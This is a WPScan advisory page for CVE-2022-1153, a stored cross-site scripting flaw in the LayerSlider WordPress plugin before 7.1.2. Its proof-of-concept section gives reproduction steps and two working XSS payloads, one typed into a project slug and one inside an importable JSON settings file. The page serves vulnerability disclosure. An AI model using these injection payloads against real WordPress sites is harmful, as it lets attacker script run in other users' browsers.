WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

LayerSlider < 7.1.2 - Admin+ Stored Cross-Site Scripting

Description

The plugin does not sanitise and escape Project's slug before outputting it back in various place, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when the unfiltered_html is disallowed

Proof of Concept

Proof of Concept  (PoC):
=======================
1.) The stored XSS is done in the template slug of any slider, a javascript payload is added to the SLUG input, which stores the malicious script executing the payload during the reopening of the template or when accessing different functions of the slider.

2.) The vulnerability also allows loading a configuration file (settings.json) with the malicious payload allowing it to be executed within the Slider edition.

## POC1: via (slug slider) 

1.) Add new project & Put Name
2.) Create Blank Project
3.) Project Settings & Tab Publish
4.) Add malicious code in the SLUG: "><img src onerror=alert(/XSS/)>
5.) Exit
6.) Save Project 
7.) XSS will trigger when accessing the project again for example (there seem to be other place when its triggered as well, like in the Project's settings)


## POC2 via (file,json)

1.) Add new post & Create Blank Project
2.) Import Projects
3.) Load file.json

{"properties":{"sliderVersion":"7.x","title":"Via Json","slug":"\">'><details\/open\/ontoggle=confirm('XSS')>","status":true,"schedule_start":"","schedule_end":"","type":"responsive","popupFitWidth":"","popupFitHeight":"","popupPositionHorizontal":"center","popupPositionVertical":"middle","popupWidth":"640","popupHeight":"360","popupDistanceTop":"10","popupDistanceRight":"10","popupDistanceBottom":"10","popupDistanceLeft":"10","popupShowOnTimeout":"","popupShowOnIdle":"","popupShowOnScroll":"","popupShowOnClick":"","popupCloseOnTimeout":"","popupCloseOnScroll":"","popup_repeat":true,"popup_repeat_days":"","popupShowOnce":true,"popup_pages_custom":"","popup_pages_exclude":"","popup_roles_administrator":true,"popup_roles_editor":true,"popup_roles_author":true,"popup_roles_contributor":true,"popup_roles_subscriber":true,"popup_roles_customer":true,"popup_roles_visitor":true,"popupTransitionIn":"fade","popupDurationIn":"1000","popupDelayIn":"200","popupTransitionOut":"fade","popupDurationOut":"500","popupResetOnClose":"slide","popupShowCloseButton":true,"popupCloseButtonStyle":"","popupOverlayClickToClose":true,"popupOverlayBackground":"rgba(0,0,0,.85)","popupOverlayTransitionIn":"fade","popupOverlayDurationIn":"400","popupOverlayTransitionOut":"fade","popupOverlayDurationOut":"400","width":1280,"height":720,"maxwidth":"","responsiveunder":"","fullSizeMode":"normal","fitScreenWidth":true,"allowFullscreen":true,"maxRatio":"","insertMethod":"prependTo","insertSelector":"","clipSlideTransition":"disabled","preventSliderClip":true,"hideunder":"","hideover":"","slideOnSwipe":true,"optimizeForMobile":true,"firstlayer":"1","autostart":true,"startinviewport":true,"pauseonhover":"disabled","keybnav":true,"touchnav":true,"playByScrollSpeed":"1","loops":"0","forceloopnum":true,"skin":"v6","sliderfadeinduration":"350","sliderclass":"","sliderstyle":"margin-bottom: 0px;","backgroundcolor":"","globalBGRepeat":"no-repeat","globalBGAttachment":"scroll","globalBGPosition":"50% 50%","globalBGSize":"auto","navprevnext":true,"navstartstop":true,"navbuttons":true,"hoverprevnext":true,"circletimer":true,"thumb_nav":"hover","thumb_container_width":"60%","thumb_width":"100","thumb_height":"60","thumb_active_opacity":"35","thumb_inactive_opacity":"100","autoplayvideos":true,"rememberUnmuteState":true,"autopauseslideshow":"auto","youtubepreview":"maxresdefault.jpg","slideBGSize":"cover","slideBGPosition":"50% 50%","parallaxSensitivity":"10","parallaxCenterLayers":"center","parallaxCenterDegree":"40","forceLayersOutDuration":"750","useSrcset":"inherit","enhancedLazyLoad":"inherit","preferBlendMode":"disabled","createdWith":"7.0.7"},"layers":[{"properties":{"post_offset":-1,"3d_transitions":"","2d_transitions":"","custom_3d_transitions":"","custom_2d_transitions":"","bgcolor":"","bgposition":"inherit","bgsize":"inherit","slidedelay":"","timeshift":0,"transitionduration":"","kenburnszoom":"disabled","kenburnsscale":1.2,"kenburnsrotate":"","globalhover":false,"parallaxtype":"2d","parallaxevent":"cursor","parallaxaxis":"both","parallaxdistance":10,"parallaxrotate":10,"parallaxdurationmove":1500,"parallaxdurationleave":1200,"parallaxtransformorigin":"50% 50% 0","parallaxtransformperspective":500,"layer_link":"","linkId":"","linkName":"","linkType":"","layer_link_target":"_self","layer_link_type":"over","deeplink":"","overflow":false,"customProperties":[],"post_content":false,"schedule_start":"","schedule_end":""},"sublayers":[],"meta":{"undoStackIndex":-1},"history":[]}]}
 

Affects Plugins

LayerSlider
Fixed in version 7.1.2

References

CVE
CVE-2022-1153

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Taurus Omar

Submitter

Taurus Omar

Submitter website
https://taurusomar.com
Submitter twitter
taurusomar_
Verified

Yes

WPVDB ID
1d9d5516-f1c3-4134-b6bf-7f2f890533c4

Timeline

Publicly Published

2022-03-29 (about 1 years ago)

Added

2022-03-29 (about 1 years ago)

Last Updated

2022-04-11 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us